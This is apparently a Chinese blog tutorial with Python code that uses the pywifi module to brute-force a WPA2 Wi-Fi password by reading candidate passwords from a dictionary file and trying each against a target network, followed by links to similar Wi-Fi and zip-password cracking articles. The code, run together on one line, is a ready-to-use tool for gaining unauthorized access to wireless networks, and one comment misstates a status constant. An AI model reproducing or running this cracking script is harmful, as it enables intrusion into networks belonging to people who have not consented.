Python 使用pywifi模块暴力破解wifi实现自动登陆的效果,本次采用面向过程的方式编写,简单易懂。

思路:

  1. 首先检查是否拥有无限网卡
  2. 无线网卡是否连接到wifi
  3. 如果连接到wifi那么需要断开连接,因为一张网卡同一时间只能连接一个wifi
  4. 搜索附近的wifi确定连接的目标
  5. 使用字典开始尝试自动连接

代码实列:
首先安装pywifi模块,这个模块专门用来处理wifi的信息

pip install pywifi # 安装模块
import pywifi #导入模块
from pywifi import const  # const 是wifi设置的一些常量,如状态码成功代表4 失败代表 0等
import timedef crack(password):"""破解wifi"""wifi = pywifi.PyWiFi()  # 实列化一个对象#  获取第一张网卡iface= wifi.interfaces()[0]#  断开网卡连接iface.disconnect()time.sleep(2)#  删除所有的wifi配置文件(有点类似于不让wifi热点记住我们的信息蕾仕于初始化)iface.remove_all_network_profiles()#  创建新的wifi的配置文件,文件指定了,wifi的名称 ,密码,编码方式等配置选项#const.IFACE_DISCONNECTED 其实等于 4,4代表连接成功if iface.status() == const.IFACE_DISCONNECTED: profile = pywifi.Profile()profile.ssid = "Honor9"    #ssid是wifi的名称#  wifi的开放状态 (要连接的wifi必须是开放状态)profile.auth = const.AUTH_ALG_OPEN#  wifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMP#  wifi密码profile.key = password #password在这里是密码由read_password()传入#  添加新的wifi配置文件new_profile = iface.add_network_profile(profile)#  连接wifiiface.connect(new_profile)time.sleep(4)if iface.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已连接")def read_password():"""读取密码"""print("开始破解")path = r"D:\我的python\Date\Pywifi\1.txt" #字典的路径with open(path,"r") as f:  #打开字典文件while True:try:password = f.readline()  #读取文件的每一行bool = crack(password)if bool:print("破解成功了"+password) #如果破解成功退出程序breakelse:print("破解失败"+password)except:continue  read_password()

上述代码采用的单线程,因此效率不是很高,后期可以加入多线程解决效率方面的问题

Python 暴力破解wifi相关推荐

  1. Python暴力破解WIFI,妈妈再也不用愁WIFI不够用了!

    先上代码: import os,re,time getMsg = os.popen("netsh wlan show profiles") wifiAll = getMsg.rea ...

  2. Python暴力破解wifi密码,你看了你也行

    免责声明 本文仅供参考,不建议您将此代码用于不想要的实践,否则本文/博客的作者将不承担任何责任. 需要打包好的软件关注小编,QQ群:721195303领取. 让我们开始吧 import subproc ...

  3. python暴力破解wifi密码原理

    首先,用python 函数生成一个类似的密码本,这里是5位数的,12345,qwert ,---,密码本结束完后会讲数据储存在超级密码本里],然后导入那个超级密码本再进行另一个函数比对,如果比对成功则 ...

  4. 凯撒密码加密算法python_Python最新暴力破解WiFi,攻破所有密码限制,最强破解!...

    生成密码本 对于这个密码本就是我们常用的密码,一般是有数字.字母和符号组成.而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法.这里用到的库是itertools,没有的可以 ...

  5. python 暴力破解 excel加密文件

    python 暴力破解 excel加密文件 'wordlist.txt' 为待测试的密码列表 fdd ddd eeee 5e5e5 58d85d5e d2d4d5d 4d4d4d3 dfdf,d; l ...

  6. Kali使用Aircrack-ng进行暴力破解WIFI密码

    Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...

  7. Python 暴力破解zip文件密码(相对简单的密码)

               Python 暴力破解zip文件密码(相对简单的密码) 密码的使用范围很广,首先,我们要明确密码的作用,其次要明白密码的类型. 密码的作用是进行权限的限制,判断用户的合法性,(不 ...

  8. python暴力破解压缩包密码(python暴力破解zip压缩包)

    python暴力破解压缩包密码 简介 简介: ZIP文件格式是一种数据压缩和文档储存的文件格式,原名Deflate,发明者为菲尔·卡茨(Phil Katz),他于1989年1月公布了该格式的资料.ZI ...

  9. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

最新文章

  1. 跨平台的 .NET 运行环境 Mono 3.2 新特性
  2. 论文笔记系列-Efficient Neural Architecture Search via Parameter Sharing
  3. PHP快速入门教程:for循环
  4. tcpdump抓包命令_tcpdump实战
  5. requirednew基于xml配置日志不回滚_Mybatis 系列 4:引入日志框架
  6. Vue watch如何同时监听多个属性?
  7. 爬虫python教程百度云_Python爬虫比较基础的教程视频百度云网盘下载
  8. linux之x86裁剪移植---ffmpeg的H264解码显示(420、422)
  9. localstorage存mysql_存储localstorage
  10. loj#6436. 「PKUSC2018」神仙的游戏(NTT)
  11. leetcode python3 简单题108. Convert Sorted Array to Binary Search Tree
  12. linux中的bg命令作用,linux bg和fg命令
  13. Firefox浏览器修改背景颜色为豆沙绿
  14. Java 获取Excel中的表单控件
  15. openwrt下部署adbyby去广告大师 免luci 带自启动,自动开启透明代理
  16. 加密解密工具 之 恩尼格玛密码机密码
  17. Android毕设项目功能:商城列表与购物车展示(一)
  18. python rasterio库和gdal库匹配与冲突问题安装办法
  19. 15.系统安全分析与设计
  20. word中多级列表操作问题

热门文章

  1. WPF Slider与TextBox绑定
  2. STM8S103之ADC
  3. JLINK V10 Keil5.28使用处理
  4. 2021年认证杯SPSSPRO杯数学建模A题(第一阶段)医学图像的配准全过程文档及程序
  5. 用 Python 将音频内容转换为文本格式
  6. java.lang.ClassNotFoundException: Cannot find class:×××
  7. 基于Tesseract训练的数字识别研究
  8. Linux | Ubuntu卸载QQ
  9. 特征工程-获取更好的训练数据
  10. STM32 串行FLASH文件系统FatFs